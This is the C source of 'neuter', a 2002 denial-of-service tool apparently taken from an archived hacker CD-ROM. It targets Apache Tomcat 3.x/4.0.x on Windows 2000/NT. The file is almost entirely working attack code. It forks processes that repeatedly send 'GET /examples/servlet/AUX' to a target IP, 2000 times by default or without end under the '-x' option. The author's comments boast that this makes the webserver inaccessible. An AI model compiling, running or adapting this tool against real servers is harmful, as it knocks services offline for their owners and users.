home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / neuter / neuter.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  5.3 KB  |  214 lines

  1. /*  Windows 2000/NT Apache Tomcat 3.x and 4.0.x DoS
  2.  *
  3.  *    bug discovered by Olaf Schulz on 11 October 2002
  4.  *    essentially does a GET /examples/servlet/AUX HTTP/1.0 ...2000 times.
  5.  *
  6.  *    This is actually somewhat lame.  It seemed to be a rather nice DoS
  7.  *    if it actually killed the server after XX GET's, but that isn't the case.
  8.  *    That's why I tossed in the '-x' option to keep hammering the box.  When
  9.  *    this program is running, the webserver becomes inaccessible.
  10.  *    Not the coolest thing in the world, but it gave me something to do on a boring
  11.  *    ass monday night. :)          -bmbr
  12.  *
  13.  *
  14.  * Compile With:
  15.  * Linux: gcc -o neuter neuter.c
  16.  * Solaris: gcc -o neuter neuter.c -lsocket -lnsl
  17.  *
  18.  
  19.                                     ZZZZZZZZZZZZZZZZZZZ
  20.                                     Z:::::::::::::::::Z
  21.                   nnnn  nnnnnnnn    Z:::::::::::::::::Z   ooooooooooo
  22.                   n:::nn::::::::nn  Z:::ZZZZZZZ::::::Z  oo:::::::::::oo
  23.      eeeeeeeeeee  n::::::::::::::nn ZZZZZ  * Z::::::Z  o:::::::::::::::o
  24.    ee:::::::::::eenn:::::::::::::::n      2 Z:::::Z    o:::::ooooo:::::o
  25.   e:::::::::::::::een:::::nnnn:::::n     0 Z:::::Z     o::::o     o::::o
  26.  e::::::eeeee::::::en::::n    n::::n    0 Z:::::Z      o::::o     o::::o
  27.  e:::::e     e:::::en::::n    n::::n   2 Z:::::Z       o::::o     o::::o
  28.  e::::::eeeee::::::en::::n    n::::n  * Z:::::Z        o::::o     o::::o
  29.  e::::::::::::::::e n::::n    n::::n   Z:::::Z         o:::::ooooo:::::o
  30.  e:::::eeeeeeeeeee  n::::n    n::::nZZZ:::::Z     ZZZZZo:::::::::::::::o
  31.  e::::::e           n::::n    n::::nZ::::::ZZZZZZZZ:::Z oo:::::::::::oo
  32.  e:::::::e          nnnnnn    nnnnnnZ:::::::::::::::::Z   ooooooooooo
  33.   e:::::::eeeeeeeeee                Z:::::::::::::::::Z
  34.    ee::::::::::::::e                ZZZZZZZZZZZZZZZZZZZ
  35.     ee:::::::::::::e             \... www.enZotech.net .../
  36.      eeeeeeeeeeeeee
  37.                  
  38.  
  39. (The above is radical ascii art.. Respect it. The below is a lame DoS. )
  40.                                                                                       
  41. */
  42.  
  43.  
  44. #include <stdio.h>
  45. #include <string.h>
  46. #include <ctype.h>
  47. #include <signal.h>
  48. #include <stdlib.h>
  49. #include <limits.h>
  50. #include <math.h>
  51. #include <sys/types.h>
  52. #include <sys/socket.h>
  53. #include <sys/time.h>
  54. #include <netdb.h>
  55. #include <netinet/in.h>
  56. #include <arpa/inet.h>
  57. #include <unistd.h>
  58.  
  59.  
  60.  
  61. void usage(char* argv0);
  62. void forkoff(char *ip, int port);
  63. int neuter(char *ip, int port);
  64.  
  65. void sigint();
  66. void sighup();
  67. void sigquit();
  68.  
  69. int main(int argc, char *argv[])
  70. {
  71.  
  72. extern int optopt;
  73. extern char *optarg;
  74. int errorflag = 0; /* did someone screw up? */
  75. int port = 80;    /* default port to use unless -p */
  76. int c;
  77. int kill = 0;
  78. int killhigh = 2000; /* This is how many GETS to request */
  79. int always = 0;
  80.  
  81. if ((argc < 2) || (argc > 6))
  82.     usage(argv[0]);
  83.  
  84. while ((c=getopt(argc, argv, "vxp:")) != EOF) {
  85.     switch(c) {
  86.         case 'p':
  87.             fprintf(stderr, "Using port %s\n", optarg);
  88.             port = strtol(optarg, NULL, 10);
  89.             break;
  90.         case 'x':
  91.             fprintf(stderr, "Nonstop DoS Attack.. go get a dew..\n");
  92.             always = 1;
  93.             break;
  94.         case 'v':
  95.             fprintf(stderr, "Neuter: IIS+Apache Tomcat DoS - [Oct 15, 2002]\n");
  96.             fprintf(stderr, "written by: bmbr@enZo\n\n");
  97.             exit(0);
  98.         case ':':
  99.             fprintf(stderr, "Option -%c requires an operand\n", optopt);
  100.             errorflag++;
  101.             break;
  102.         case '?':
  103.             fprintf(stderr, "Unrecognized option: -%c\n", optopt);
  104.             errorflag++;
  105.  
  106.     }
  107. }
  108.  
  109. if (errorflag) {
  110.         usage(argv[0]);
  111. }
  112.  
  113. /* kill them */
  114. while (kill <= killhigh) {
  115.     forkoff(argv[argc-1], port);
  116.     fprintf(stderr, "b00m! ");
  117.         if (always != 1)
  118.             kill++;
  119.         }
  120. fprintf(stderr, "\nFinished!\n");
  121. return 0;
  122. } /* end main */
  123.  
  124. void usage(char* argv0)
  125. {
  126.     fprintf(stderr, "\nNeuter: IIS+Apache Tomcat DoS - [Oct 15, 2002]\n");
  127.     fprintf(stderr, "Written by: bmbr@enZo\n\n");
  128.     fprintf(stderr, "Usage: %s [-p port] IP\n", argv0);
  129.     fprintf(stderr, "optional: -x (don't stop DoS'ing)\n\n");
  130.     exit(1);
  131. }
  132.  
  133. void sigint()
  134. {
  135.     signal(SIGINT,sigint);
  136.     fprintf(stderr, "CHILD: I have received Sigint!\n");
  137.     exit(0);
  138. }
  139.  
  140. void sigquit()
  141. {
  142.     fprintf(stderr, "CHILD: My parent has killed me!\n");
  143.     exit(0);
  144. }
  145.  
  146. void sighup()
  147. {
  148.     signal(SIGHUP,sighup);
  149.     fprintf(stderr, "CHILD: I have received SIGHUP\n");
  150. }
  151.  
  152.  
  153. void forkoff(char *ip, int port)
  154. {
  155.         int pid;
  156.         pid = fork();
  157.  
  158.  
  159.         if (pid < 0) {
  160.                 fprintf(stderr, "Fork Error.\n");
  161.                 exit(0);
  162.         }
  163.         else if (pid > 0)
  164.                 usleep(1000);  /* microseconds (millionth of a sec) */
  165.         else if (pid == 0) {
  166.                 signal(SIGHUP,sighup);
  167.                 signal(SIGINT,sigint);
  168.                 signal(SIGQUIT,sigquit);
  169.                 alarm(25);
  170.                 neuter(ip, port);
  171.                 alarm(0);
  172.                 exit(0);
  173.         }
  174. }
  175.  
  176. int neuter(char *ip, int port)
  177. {
  178.     int s, r, c;
  179.     char *string = "GET /examples/servlet/AUX HTTP/1.0\r\n";
  180.     char *stringend = "\r\n\r\n";
  181.  
  182.     struct sockaddr_in addr;
  183.     struct hostent *hp;
  184.     memset((char *) &addr, '\0', sizeof(addr));
  185.     addr.sin_family = AF_INET;
  186.     addr.sin_addr.s_addr = inet_addr(ip);
  187.     addr.sin_port= htons(port);
  188.  
  189.  
  190.     if ((hp = gethostbyname(ip)) != NULL) {
  191.             /* need to check the size of h_length to avoid overflow */
  192.             if (hp->h_length > sizeof(addr.sin_addr)) {
  193.                     hp->h_length = sizeof(addr.sin_addr); }
  194.  
  195.         memcpy((char *) &addr.sin_addr, hp->h_addr, hp->h_length);
  196.     }
  197.     else {
  198.         if ((addr.sin_addr.s_addr = inet_addr(ip)) < 0) {
  199.             return(0);
  200.             }
  201.     }
  202.  
  203.     s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  204.     r = connect(s, (struct sockaddr *) &addr, sizeof(addr));
  205.  
  206.     write(s, string, strlen(string));
  207.     write(s, stringend, strlen(stringend));
  208.     c = 0;
  209.  
  210.  
  211.     close(s);
  212.     return 0;
  213. }
  214.